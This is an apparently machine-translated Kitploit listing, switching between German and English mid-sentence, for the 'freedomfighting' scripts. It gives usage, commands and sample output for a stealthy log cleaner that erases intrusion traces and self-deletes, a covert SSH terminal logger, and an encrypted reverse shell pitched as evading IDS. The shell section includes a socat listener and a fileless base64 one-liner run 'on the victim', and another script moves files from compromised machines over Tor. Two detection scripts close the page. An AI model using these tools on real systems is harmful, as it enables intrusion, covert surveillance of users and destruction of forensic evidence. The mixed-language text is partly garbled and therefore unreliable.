Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/justicerage/freedomfighting
AufklärungVerschlüsselungs-/EntschlüsselungstoolsForensikInformationsbeschaffungPost-ExploitationWebsicherheitPenetrationstestsRed TeamingCrawlerRemote-Access-ToolLog-Analyse
41868vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
justicerage/freedomfighting

freedomfighting

Eine Sammlung von Skripten, die bei Ihren Freiheitskampfaktivitäten nützlich sein können.

Repository anzeigen
Teilen

Skripte für den Freiheitskampf

Dieses Repository enthält Skripte, die bei Ihren Freiheitskampf-Aktivitäten nützlich sein könnten. Es wird gelegentlich aktualisiert, wenn ich etwas brauche, das ich online nicht finden kann. Alles hier wird unter den Bedingungen der GPL v3 Lizenz verteilt.

Beiträge und Pull-Requests sind sehr willkommen.

Inhaltsverzeichnis

  • nojail.py, ein Python-Log-Cleaner.
  • share.sh, ein sicheres Dateifreigabe-Skript.
  • autojack.py, ein Terminal-Logger.
  • listurl.py, ein Site-Mapper.
  • ersh.py, eine verschlüsselte Reverse-Shell.
  • boot_check.py, ein Skript zur Erkennung von Evil-Maid-Angriffen.
  • notify_hook.py, eine Möglichkeit, Warnmeldungen auszulösen, wenn bestimmte Binärdateien auf einem System aufgerufen werden.
  • Sonstiges (Kontakt und Spenden)

nojail.py

Ein Log-Cleaner, der inkriminierende Einträge entfernt in:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (steuert die Ausgabe der Befehle who, w und last)
  • /var/log/lastlog (steuert die Ausgabe des Befehls lastlog)
  • /var/**/*.log (.log.1, .log.2.gz, usw. inbegriffen)
  • Jede zusätzliche Datei oder Ordner, die vom Benutzer angegeben wird.

Einträge werden basierend auf einer IP-Adresse und/oder zugehörigem Hostnamen gelöscht.

Besondere Vorsicht wird darauf verwendet, beim Manipulieren von Logs keine Dateideskriptoren zu brechen. Das bedeutet, dass die Logs nach der Manipulation weiterhin beschrieben werden können, was die Bereinigung viel unauffälliger macht. Die gesamte Arbeit findet auf einem tmpfs-Laufwerk statt und alle erstellten Dateien werden sicher gelöscht.

Warnung: Das Skript wurde nur unter Linux getestet und kann UTMP-Einträge auf anderen Unix-Varianten nicht bereinigen.

Verwendung:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

root@kitploit:~
 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
root@kitploit:~
Standardmäßig versucht das Skript, wenn keine Argumente angegeben werden, die zu bereinigende IP-Adresse anhand der
`SSH_CONNECTION` Umgebungsvariable zu ermitteln. Jeder Eintrag, der mit dem Reverse-DNS dieser IP übereinstimmt, wird ebenfalls entfernt.

#### Basic example:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...werden alle Einträge für den Benutzer root entfernt, bei denen die IP-Adresse 151.80.119.32 oder der Hostname manalyzer.org ist. Der Benutzer wird auch vor dem Löschen jedes Datensatzes aufgefordert, aufgrund der Option --check. Schließlich wird die Datei /etc/app/logs/access.log zusätzlich zu allen Standarddateien verarbeitet.

Wenn Ordner als Positionsargumente angegeben werden (z. B. /etc/app/logs/), durchsucht das Skript diese rekursiv und bereinigt alle Dateien mit der Erweiterung .log (einschließlich *.log.1, *.log.2.gz usw.).

Reguläre Ausdrücke

Möglicherweise möchten Sie auch beliebige Zeilen aus der Protokolldatei entfernen. Verwenden Sie dazu die Option --regexp. Die folgende Befehlszeile sucht beispielsweise nach allen POST-Anfragen an PHP-Dateien von der angegebenen IP:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

root@kitploit:~
#### Daemonisierung des Skripts```
./nojail.py --daemonize

Angenommen, dies wird von einer SSH-Verbindung aus ausgeführt, löscht dieser Befehl alle Logs, die sich auf die Aktivität des aktuellen Benutzers beziehen, mit der erkannten IP-Adresse und dem Hostnamen, sobald die Verbindung geschlossen wird. Dieses Skript wird sich daraufhin automatisch selbst löschen. Bitte beachten Sie, dass Sie keine Möglichkeit haben, Fehlermeldungen von der Anwendung zu erhalten. Es wird empfohlen, die Logs einmal vor dem Ausführen des Dämons zu löschen, um sicherzustellen, dass die angegebenen Argumente korrekt sind. Wenn Sie sich in einer Shell ohne TTY befinden, kann das Skript nicht erkennen, wann die Sitzung endet. Sie werden benachrichtigt, dass die Logs in 60 Sekunden gelöscht werden, und dass Sie sich vorher abmelden sollten (andernfalls riskieren Sie, weitere Einträge zu erzeugen, nachdem das Skript ausgeführt wurde).

Sample output:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

root@kitploit:~
### Haftungsausschluss
Dieses Skript wird ohne jegliche Garantien bereitgestellt.
Gib mir nicht die Schuld, wenn es nicht alle Spuren von etwas beseitigt, das du erst gar nicht hättest tun sollen.

## share.sh

Ein portables und sicheres Dateifreigabe-Skript. Beim Freiheitskampf ist es in der Regel nicht möglich, Dateien per scp in
kompromittierte Maschinen zu übertragen. Es werden alternative Möglichkeiten zum Hochladen von Dateien benötigt, aber die meisten Teilen-Dienste sind entweder zu restriktiv
oder bieten keine Möglichkeit, Dateien einfach von der Kommandozeile abzurufen. Sicherheitsaspekte können auch verhindern,
dass Benutzer sensible Dateien an Cloud-Anbieter hochladen, aus Angst, dass diese für immer eine Kopie behalten.

Dieses kleine und portable Bash-Skript verlässt sich auf [transfer.sh](https://transfer.sh), um dieses Problem zu lösen. Es...
* Verschlüsselt Dateien vor dem Hochladen (symmetrisches AES-256-CBC).
* Verwendet automatisch `torify`, falls auf dem System vorhanden, für erhöhte Anonymität.

Die einzigen benötigten Abhängigkeiten sind `openssl` und entweder `curl` oder `wget`.

### Verwendung```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Additional arguments during the upload allow you to control the maximum number of downloads allowed for the file (-m) and how many days transfer.sh will keep it (-d). The default value for both these options is 1.

Warning: Do not use spaces in the encryption key, or only the first word of your passphrase will be taken into account. This is due to the way getopts handles arguments (I think). Pull requests are welcome if anyone is interested in fixing this.

autojack.py

AutoJack is a short script leveraging EmptyMonkey's shelljack to log the terminal of any user connecting through SSH. It watches auth.log for successful connections, figures out the PID of the user's bash process,and leaves the rest toshelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

root@kitploit:~
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Eine Website kartieren, indem rekursiv alle ihre URLs gesammelt werden.

optionale Argumente:
  -h, --help            Diese Hilfemeldung anzeigen und beenden
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        Die maximale Tiefe für das Crawlen (Standard ist 3).
  --threads THREADS, -t THREADS
                        Die Anzahl der zu verwendenden Threads (Standard ist 10).
  --url URL, -u URL     Die Startseite.
  --external, -e        Externe Links folgen (Standard ist deaktiviert).
  --subdomains, -d      Subdomains in den Gültigkeitsbereich einbeziehen (Standard ist deaktiviert).
  -c COOKIE, --cookie COOKIE
                        Der Anfrage ein Cookie hinzufügen. Kann mehrfach
                        angegeben werden.Beispiel: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        Ein regulärer Ausdruck, der auf zu ignorierende URLs
                        zutrifft. Der angegebene Ausdruck muss nicht die gesamte URL
                        abdecken, sondern nur einen Teil davon.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        Ein regulärer Ausdruck, der die angezeigten Ergebnisse
                        filtert. Der angegebene Ausdruck wird in den Ergebnissen
                        gesucht, er muss nicht die gesamte URL abdecken.
                        Beispiel: \.php$
  --no-certificate-check, -n
                        Deaktiviert die Überprüfung von SSL-Zertifikaten.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        Die Datei, in die die erhaltenen URLs geschrieben
                        werden sollen.
  --verbose, -v         Ausführlicher sein. Kann mehrmals angegeben werden.```

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org [] Crawlen gestartet auf Tiefe 1. [] Crawlen gestartet auf Tiefe 2.... [] Crawlen gestartet auf Tiefe 3. [] Entdeckte URLs: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

root@kitploit:~
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] Crawlen auf Tiefe 1 gestartet.
   [*] Crawlen auf Tiefe 2 gestartet...
   [*] Crawlen auf Tiefe 3 gestartet.
   [*] Gefundene URLs:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] Crawling gestartet auf Tiefe 1. [] Crawling gestartet auf Tiefe 2.^C Unterbrechung abgefangen! Bitte warten Sie einige Sekunden, während die Threads heruntergefahren werden... [*] Gefundene URLs: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a Box ohne Standarddienstprogramme oder Kompilierungswerkzeuge und keine einfache Möglichkeit, Binärdateien hochzuladen? Haben Sie Angst, dass ein IDS eine ausgehende Shell bemerkt? Haben Sie versehentlich Ihren Netcat-Listener geschlossen, weil Sie ^C gedrückt haben? Leiden Sie nicht länger.ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

root@kitploit:~
###############################################################################
# BEARBEITEN SIE DIE PARAMETER UNTER DIESER ZEILE
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

root@kitploit:~
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@kitploit:~
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@kitploit:~
root@victim:~# python ersh.py
[*] Verbindung hergestellt!
root@victim:~#```

And on the receiver again:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

root@kitploit:~
ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)
Tool herunterladen